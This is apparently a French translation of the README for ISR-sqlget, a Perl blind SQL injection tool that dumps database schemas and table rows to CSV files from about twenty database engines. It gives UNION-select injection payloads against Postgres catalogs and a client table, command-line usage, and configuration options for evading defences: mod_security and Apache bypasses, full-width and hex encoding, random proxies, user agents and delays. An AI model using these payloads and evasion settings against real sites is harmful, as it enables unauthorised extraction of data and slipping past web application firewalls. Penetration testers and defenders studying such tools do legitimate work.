
ISR-sqlget C'est un outil d'injection SQL aveugle développé en Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: DESCRIPTION
ISR-sqlget : c'est un outil d'injection SQL aveugle développé en Perl. Il vous permet d'obtenir les schémas de bases de données et les lignes de tables. En utilisant un seul GET/POST, vous pouvez accéder discrètement à la structure de la base de données et, avec un seul GET/POST, vous pouvez extraire chaque ligne de table vers un fichier de type CSV.
Bases de données prises en charge :
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
Fonctionnalités d'évasion :
- Encodage Unicode pleine largeur/demi-largeur (Full-width/Half-width)
- Contournement du CR non standard d'Apache
- Contournement de mod_security
- Transformation aléatoire des requêtes en majuscules
- PHP Magicquotes : encoder chaque chaîne à l'aide de la fonction CHR de la base de données ou similaire.
- Convertir les requêtes en valeurs hexadécimales
- Éviter le remplacement des espaces par /**/ ou une tabulation (\t)
- Éviter la concaténation avec || ou + en utilisant la fonction concat de la base de données ou similaire.
- User-agent aléatoire
- Serveur proxy aléatoire
- Délai aléatoire entre les requêtes
Fonctionnalités courantes :
- Liste noire de téléchargement des schémas de bases de données
- Prise en charge des cookies sous forme de tableau
- Prise en charge de SSL
- Prise en charge de serveur proxy
- Informations de la base de données extraites au format CSV
Reporting :
- Représentation graphique de la structure de la base de données pour créer des rapports de direction percutants
nécessite la bibliothèque Graphviz (http://www.graphviz.org/)
..:: UTILISATION
L'outil a besoin des informations suivantes :
Les ACTIONS possibles sont :
D'abord :
1. Obtenir le schéma de la base de données.
Ensuite :
2.a Obtenir les lignes des tables (format csv).
2.b Obtenir le schéma graphique de la base de données.
..::Exemple :
Cible : http://target.infobytesec.com/helloworld.php?id=
Source de helloworld.php :
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>Lisez l'exemple de session (fichier de configuration) : ./helloworld.pm
Obtenir le schéma de la base de données :
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
Cela génère un fichier de schéma local dans : ./template/helloworld.dbschema
Ensuite, obtenez les lignes des tables :
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
Dans le répertoire "./datos/", vous aurez deux fichiers par table comme suit :
[sessionname].[database].[table].sql.html # source html [sessionname].[database].[table].csv # valeurs séparées par des virgules
Notez que "./datos" peut être spécifié avec le paramètre $conf::outputdb dans le fichier de configuration de session.
..:: Avancé
L'outil n'utilise qu'un seul type de colonne text/varchar/etc dans la requête SQL SELECT. En utilisant des clauses UNION, vous pouvez obtenir « dans cette colonne » tout le schéma de la base de données en utilisant « [__] » comme délimiteur.
Lorsque vous avez déjà enregistré le schéma local de la base de données, vous pourrez :
1.a Obtenir les lignes des tables : En utilisant la même technique, vous pouvez obtenir toutes les lignes de chaque table de la base de données, les colonnes dont les types de données ne sont pas compatibles avec le type text sont transformées en type text à l'aide des fonctions propres à la base de données.
1.b Obtenir le schéma graphique de la base de données.
L'outil utilise, pour chaque action, un fichier de configuration de session. Ce fichier de configuration définit les paramètres nécessaires pour exploiter l'injection SQL. Le paramètre @conf::path spécifie la manière dont le HTML brut est analysé pour fonctionner avec l'outil.
Détails de l'aide :
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: Check parser module -t: Get test page -a: Get all database names (only mssql) -s: Get database/s structure/s -d: Get database/s information/s (csv format) -g: Graphic structure of database (gif format)
Options: -n: Session name -p: (Use with -c action, specify src page to check the module); Default ./template/$SESSION.testpage -v: Verbose -h: Help
-t: En utilisant le fichier de session, vous obtenez une courte table système de données à utiliser avec l'action « -c » pour analyser le HTML brut plus tard.
-c: Par défaut, il utilise ./template/[session-name].testpage. Il est utilisé pour développer et tester l'analyseur de HTML brut. Vous pouvez choisir un autre fichier HTML avec l'option « -p ».
-a: Tous les moteurs de base de données utilisent l'ordre suivant pour obtenir les lignes des tables : 1. « -s » obtenir la structure (il enregistre le schéma de la base de données dans un fichier local). 2. « -d » obtenir les données des tables.
En raison des tables système MSSQL, nous devons ajouter une étape préalable :
1. « -a » obtenir tous les noms de bases de données de /schema/catalog (il enregistre les noms dans un fichier local).
2. « -s » obtenir la structure (il enregistre le schéma de la base de données dans un fichier local).
3. « -d » obtenir les données des tables.
-s: obtenir la structure (il enregistre le schéma de la base de données dans un fichier local). -d: obtenir les données des tables.
-g: En utilisant le fichier de schéma local de la base de données précédemment obtenu, obtenir le schéma graphique de la base de données (format gif).
-n: Il spécifie le nom du fichier de configuration de session.
..:: Notes
./pmschanges.txt : nous utilisons une version modifiée de LWP, Net::HTTP qui inclut des méthodes et les spécifications CRLs. Ce fichier explique les modifications.
./dbs/isr_* : chaque module de base de données possède la variable @space qui spécifie le type d'espace valide. Exemple : my @space=(' ',"\t","/**/"); #all spaces
..:: Options du fichier de session :
@conf::path #Le paramètre @conf::path spécifie la manière dont le HTML brut est analysé pour fonctionner avec l'outil. #Il utilise du code Perl embarqué avec HTML::TreeBuilder pour analyser le HTML brut. #La première configuration est un tableau en arbre avec les noms des balises HTML nécessaires. Le dernier nom de balise HTML est traité avec le code Perl.
Voir les exemples dans ./examples/ example[n].html session[n].pm
$conf::site #Site où se trouve l'application vulnérable
$conf::script #Fichier de script vulnérable
$conf::method #Méthode 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (contournement de la méthode apache)
$conf::inj #Paramètres POST/GET avec les clauses UNION #Il utilise des variables qui seront ensuite remplacées par les informations dynamiques.
Variables :
<VALUE> = Colonne utilisée pour obtenir toutes les informations.
<TABLE> = Section des tables.
<WHERE> = Section WHERE.
<TAIL> = La dernière partie de la requête SQL.
Exemple : "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";
$conf::where #Si vous devez ajouter une exception dans la table de l'union, vous devez utiliser ce #paramètre car certaines requêtes de structure de base de données contiennent déjà "WHERE"
$conf::tail #La dernière partie de la requête SQL. $conf::param #Style de paramètre = style Post 1, style URL 0 Post style= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa
Url style:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0
$conf::dbtype #Backend de base de données
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)
7 - Mimer (www.mimer.com)
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)
10 - Hsqldb (www.hsqldb.org)
11 - SQLite
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)
20 - SQLBase (http://www.unify.com)
$conf::session #Nom de session (vous devez utiliser le même nom que le fichier de configuration de session sans l'extension .pm) $conf::outputdb #Le chemin des lignes de tables extraites
######### proxy $conf::proxy_host #Exemple de prise en charge de proxy : 'http://user:pass@host:port/'; $conf::rproxy #Proxy aléatoire : 1 activé ou 0 désactivé $conf::rproxyfile #Fichier de proxys aléatoires (utilisez le même format que $conf::proxy_host)
######### filtres $conf::space #Évitement des espaces : 0 active l'espace ou 1 remplace l'espace ' ' par une tabulation '\t ou #2 remplace l'espace ' ' par un commentaire '/**/'
$conf::apache_espace #Vous pouvez spécifier la valeur des CR dans la requête HTTP/s
#Exemple :
$conf::apache_espace_rnd=1; #combinaison aléatoire de CR 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #Nombre maximal aléatoire de caractères #Dans cet exemple, nous randomisons les CR (0x0b, 0x0c, 0x0d) de 1 à 10 : #Référence : http://www.osvdb.org/25837
$conf::mod_security #1 active le contournement de modsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) #Référence : http://www.php-security.org/MOPB/BONUS-12-2007.html
$conf::full_width #1 active le contournement de l'encodage pleine largeur $conf::ruseragent #1 active l'utilisation d'un user-agent aléatoire $conf::ruseragentfile #Liste de fichiers user-agent $conf::uagent #User-agent par défaut $conf::delay #Délai entre les connexions $conf::rdelay #1 active un délai maximal aléatoire entre les connexions, utilisez $conf:delay comme valeur maximale. $conf::magicquotes #1 active l'évitement de magicquotes (utilisez la fonction CHR ou similaire dans chaque base de données) $conf::convertall_hex #1 transforme chaque valeur de paramètre au format hexadécimal (%41,%61) $conf::rnd_uppercase #1 active la transformation aléatoire en majuscules.
######## filtres uniquement mssql $conf::scape_plas #1 active, utilisez la fonction CONCAT si le script ne peut pas recevoir '+' #(utilisé comme concaténation de chaînes) $conf::convertall_str #1 active la conversion de toutes les colonnes en chaîne (recommandé) $conf::scape_output_less #1 active : si le script ne peut pas envoyer '|', utilisez une fonction de base de données à remplacer
######## filtres uniquement oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql $conf::scape_pipe #Utilisez la fonction CONCAT ou similaire si le script ne peut pas recevoir '|' (utilisé comme concaténation de chaînes)
$conf::deny_dbname #tableau contenant les noms de bases de données à ne pas traiter (liste noire) Exemple de valeur = {'WMSYS' => 1, 'SYS' => 1 };
#Cookie $conf::cookie #1 active la prise en charge des cookies sous forme de tableau @conf::cookies #tableau des cookies à utiliser Exemple de valeur = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });
#Options graphiques (voir l'aide du module Perl GraphViz pour plus de détails) $conf::graphdir = './graph/'; #Le répertoire de destination des fichiers graphiques $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= ne pas grapher les colonnes, 1= grapher les colonnes
..:: EXIGENCES
1 - Modules Perl : LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz
2 - Bibliothèques Projet GraphViz (http://www.graphviz.org/)
..:: TÉLÉCHARGEMENT
http://www.infobytesec.com/development.html
..:: AUTEUR Francisco Amato famato+at+infobytesec+dot+com